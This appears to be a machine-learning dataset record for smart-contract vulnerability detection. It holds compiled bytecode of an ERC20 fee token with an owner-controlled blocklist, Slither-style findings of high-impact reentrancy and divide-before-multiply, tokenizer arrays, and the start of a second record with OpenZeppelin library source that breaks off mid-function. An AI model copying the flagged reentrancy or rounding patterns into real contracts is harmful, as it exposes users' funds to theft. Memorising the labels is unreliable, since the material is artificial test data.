4d696b6579496e75000000000000000000000000000000000000000000000000815250905090565b6000610a95610a8e6110f8565b84846112cb565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae06110f8565b73ffffffffffffffffffffffffffffffffffffffff1614610b0057600080fd5b6000610b0b30610877565b9050610b1681611aa7565b50565b610b216110f8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba590612b30565b60405180910390fd5b600f60149054906101000a900460ff1615610bfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf590612bb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c8c30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1666038d7ea4c68000611100565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cd257600080fd5b505afa158015610ce6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d0a9190612528565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d6c57600080fd5b505afa158015610d80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da49190612528565b6040518363ffffffff1660e01b8152600401610dc19291906129a0565b602060405180830381600087803b158015610ddb57600080fd5b505af1158015610def573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e139190612528565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e9c30610877565b600080610ea7610a1b565b426040518863ffffffff1660e01b8152600401610ec9969594939291906129f2565b6060604051808303818588803b158015610ee257600080fd5b505af1158015610ef6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f1b91906126cb565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550652d79883d20006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161101b9291906129c9565b602060405180830381600087803b15801561103557600080fd5b505af1158015611049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106d919061269e565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611170576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116790612b90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d790612ad0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112be9190612bd0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561133b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133290612b70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a290612a90565b60405180910390fd5b600081116113ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e590612b50565b60405180910390fd5b6000600a81905550600a600b81905550611406610a1b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114745750611444610a1b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118c057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561151d5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61152657600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115d15750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116275750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561163f5750600f60179054906101000a900460ff165b156116ef5760105481111561165357600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061169e57600080fd5b601e426116ab9190612d06565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561179a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117f05750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611806576000600a81905550600a600b819055505b600061181130610877565b9050600f60159054906101000a900460ff1615801561187e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118965750600f60169054906101000a900460ff165b156118be576118a481611aa7565b600047905060008111156118bc576118bb47611934565b5b505b505b6118cb838383611d2f565b505050565b6000838311158290611918576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190f9190612a6e565b60405180910390fd5b50600083856119279190612de7565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6002600a8461197f9190612d5c565b6119899190612d8d565b9081150290604051600060405180830381858888f193505050501580156119b4573d6000803e3d6000fd5b50600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6008600a84611a009190612d5c565b611a0a9190612d8d565b9081150290604051600060405180830381858888f19350505050158015611a35573d6000803e3d6000fd5b5050565b6000600854821115611a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7790612ab0565b60405180910390fd5b6000611a8a611d3f565b9050611a9f8184611d6a90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611adf57611ade612fbc565b5b604051908082528060200260200182016040528015611b0d5781602001602082028036833780820191505090505b5090503081600081518110611b2557611b24612f8d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611bc757600080fd5b505afa158015611bdb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bff9190612528565b81600181518110611c1357611c12612f8d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c7a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611100565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611cde959493929190612beb565b600060405180830381600087803b158015611cf857600080fd5b505af1158015611d0c573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611d3a838383611db4565b505050565b6000806000611d4c611f7f565b91509150611d638183611d6a90919063ffffffff16565b9250505090565b6000611dac83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fdb565b905092915050565b600080600080600080611dc68761203e565b955095509550955095509550611e2486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611eb985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120f090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f058161214e565b611f0f848361220b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f6c9190612bd0565b60405180910390a3505050505050505050565b60008060006008549050600066038d7ea4c680009050611fb166038d7ea4c68000600854611d6a90919063ffffffff16565b821015611fce5760085466038d7ea4c68000935093505050611fd7565b81819350935050505b9091565b60008083118290612022576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120199190612a6e565b60405180910390fd5b50600083856120319190612d5c565b9050809150509392505050565b600080600080600080600080600061205b8a600a54600b54612245565b925092509250600061206b611d3f565b9050600080600061207e8e8787876122db565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006120e883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118d0565b905092915050565b60008082846120ff9190612d06565b905083811015612144576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213b90612af0565b60405180910390fd5b8091505092915050565b6000612158611d3f565b9050600061216f828461236490919063ffffffff16565b90506121c381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120f090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612220826008546120a690919063ffffffff16565b60088190555061223b816009546120f090919063ffffffff16565b6009819055505050565b6000806000806122716064612263888a61236490919063ffffffff16565b611d6a90919063ffffffff16565b9050600061229b606461228d888b61236490919063ffffffff16565b611d6a90919063ffffffff16565b905060006122c4826122b6858c6120a690919063ffffffff16565b6120a690919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806122f4858961236490919063ffffffff16565b9050600061230b868961236490919063ffffffff16565b90506000612322878961236490919063ffffffff16565b9050600061234b8261233d85876120a690919063ffffffff16565b6120a690919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561237757600090506123d9565b600082846123859190612d8d565b90508284826123949190612d5c565b146123d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123cb90612b10565b60405180910390fd5b809150505b92915050565b60006123f26123ed84612c85565b612c60565b9050808382526020820190508285602086028201111561241557612414612ff0565b5b60005b85811015612445578161242b888261244f565b845260208401935060208301925050600181019050612418565b5050509392505050565b60008135905061245e816132b4565b92915050565b600081519050612473816132b4565b92915050565b600082601f83011261248e5761248d612feb565b5b813561249e8482602086016123df565b91505092915050565b6000813590506124b6816132cb565b92915050565b6000815190506124cb816132cb565b92915050565b6000813590506124e0816132e2565b92915050565b6000815190506124f5816132e2565b92915050565b60006020828403121561251157612510612ffa565b5b600061251f8482850161244f565b91505092915050565b60006020828403121561253e5761253d612ffa565b5b600061254c84828501612464565b91505092915050565b6000806040838503121561256c5761256b612ffa565b5b600061257a8582860161244f565b925050602061258b8582860161244f565b9150509250929050565b6000806000606084860312156125ae576125ad612ffa565b5b60006125bc8682870161244f565b93505060206125cd8682870161244f565b92505060406125de868287016124d1565b9150509250925092565b600080604083850312156125ff576125fe612ffa565b5b600061260d8582860161244f565b925050602061261e858286016124d1565b9150509250929050565b60006020828403121561263e5761263d612ffa565b5b600082013567ffffffffffffffff81111561265c5761265b612ff5565b5b61266884828501612479565b91505092915050565b60006020828403121561268757612686612ffa565b5b6000612695848285016124a7565b91505092915050565b6000602082840312156126b4576126b3612ffa565b5b60006126c2848285016124bc565b91505092915050565b6000806000606084860312156126e4576126e3612ffa565b5b60006126f2868287016124e6565b9350506020612703868287016124e6565b9250506040612714868287016124e6565b9150509250925092565b600061272a8383612736565b60208301905092915050565b61273f81612e1b565b82525050565b61274e81612e1b565b82525050565b600061275f82612cc1565b6127698185612ce4565b935061277483612cb1565b8060005b838110156127a557815161278c888261271e565b975061279783612cd7565b925050600181019050612778565b5085935050505092915050565b6127bb81612e2d565b82525050565b6127ca81612e70565b82525050565b60006127db82612ccc565b6127e58185612cf5565b93506127f5818560208601612e82565b6127fe81612fff565b840191505092915050565b6000612816602383612cf5565b915061282182613010565b604082019050919050565b6000612839602a83612cf5565b91506128448261305f565b604082019050919050565b600061285c602283612cf5565b9150612867826130ae565b604082019050919050565b600061287f601b83612cf5565b915061288a826130fd565b602082019050919050565b60006128a2602183612cf5565b91506128ad82613126565b604082019050919050565b60006128c5602083612cf5565b91506128d082613175565b602082019050919050565b60006128e8602983612cf5565b91506128f38261319e565b604082019050919050565b600061290b602583612cf5565b9150612916826131ed565b604082019050919050565b600061292e602483612cf5565b91506129398261323c565b604082019050919050565b6000612951601783612cf5565b915061295c8261328b565b602082019050919050565b61297081612e59565b82525050565b61297f81612e63565b82525050565b600060208201905061299a6000830184612745565b92915050565b60006040820190506129b56000830185612745565b6129c26020830184612745565b9392505050565b60006040820190506129de6000830185612745565b6129eb6020830184612967565b9392505050565b600060c082019050612a076000830189612745565b612a146020830188612967565b612a2160408301876127c1565b612a2e60608301866127c1565b612a3b6080830185612745565b612a4860a0830184612967565b979650505050505050565b6000602082019050612a6860008301846127b2565b92915050565b60006020820190508181036000830152612a8881846127d0565b905092915050565b60006020820190508181036000830152612aa981612809565b9050919050565b60006020820190508181036000830152612ac98161282c565b9050919050565b60006020820190508181036000830152612ae98161284f565b9050919050565b60006020820190508181036000830152612b0981612872565b9050919050565b60006020820190508181036000830152612b2981612895565b9050919050565b60006020820190508181036000830152612b49816128b8565b9050919050565b60006020820190508181036000830152612b69816128db565b9050919050565b60006020820190508181036000830152612b89816128fe565b9050919050565b60006020820190508181036000830152612ba981612921565b9050919050565b60006020820190508181036000830152612bc981612944565b9050919050565b6000602082019050612be56000830184612967565b92915050565b600060a082019050612c006000830188612967565b612c0d60208301876127c1565b8181036040830152612c1f8186612754565b9050612c2e6060830185612745565b612c3b6080830184612967565b9695505050505050565b6000602082019050612c5a6000830184612976565b92915050565b6000612c6a612c7b565b9050612c768282612eb5565b919050565b6000604051905090565b600067ffffffffffffffff821115612ca057612c9f612fbc565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d1182612e59565b9150612d1c83612e59565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d5157612d50612f2f565b5b828201905092915050565b6000612d6782612e59565b9150612d7283612e59565b925082612d8257612d81612f5e565b5b828204905092915050565b6000612d9882612e59565b9150612da383612e59565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ddc57612ddb612f2f565b5b828202905092915050565b6000612df282612e59565b9150612dfd83612e59565b925082821015612e1057612e0f612f2f565b5b828203905092915050565b6000612e2682612e39565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612e7b82612e59565b9050919050565b60005b83811015612ea0578082015181840152602081019050612e85565b83811115612eaf576000848401525b50505050565b612ebe82612fff565b810181811067ffffffffffffffff82111715612edd57612edc612fbc565b5b80604052505050565b6000612ef182612e59565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f2457612f23612f2f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6132bd81612e1b565b81146132c857600080fd5b50565b6132d481612e2d565b81146132df57600080fd5b50565b6132eb81612e59565b81146132f657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cd3846783784e3c68e2d8da9231961c6d9303e19033455b982cd3e1e6c0eb7f764736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2050, 2581, 2050, 12740, 2683, 2063, 2487, 2497, 26187, 11057, 2497, 2581, 2094, 18139, 2487, 2094, 2581, 2683, 2629, 2278, 2629, 12879, 2497, 17914, 23777, 2094, 16703, 9468, 2278, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2340, 1011, 5757, 1008, 1013, 1013, 1008, 1008, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 25998, 2378, 13094, 2278, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,369
0x96a860e45c4e23bb104f87d95a758ff669b03a95
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return 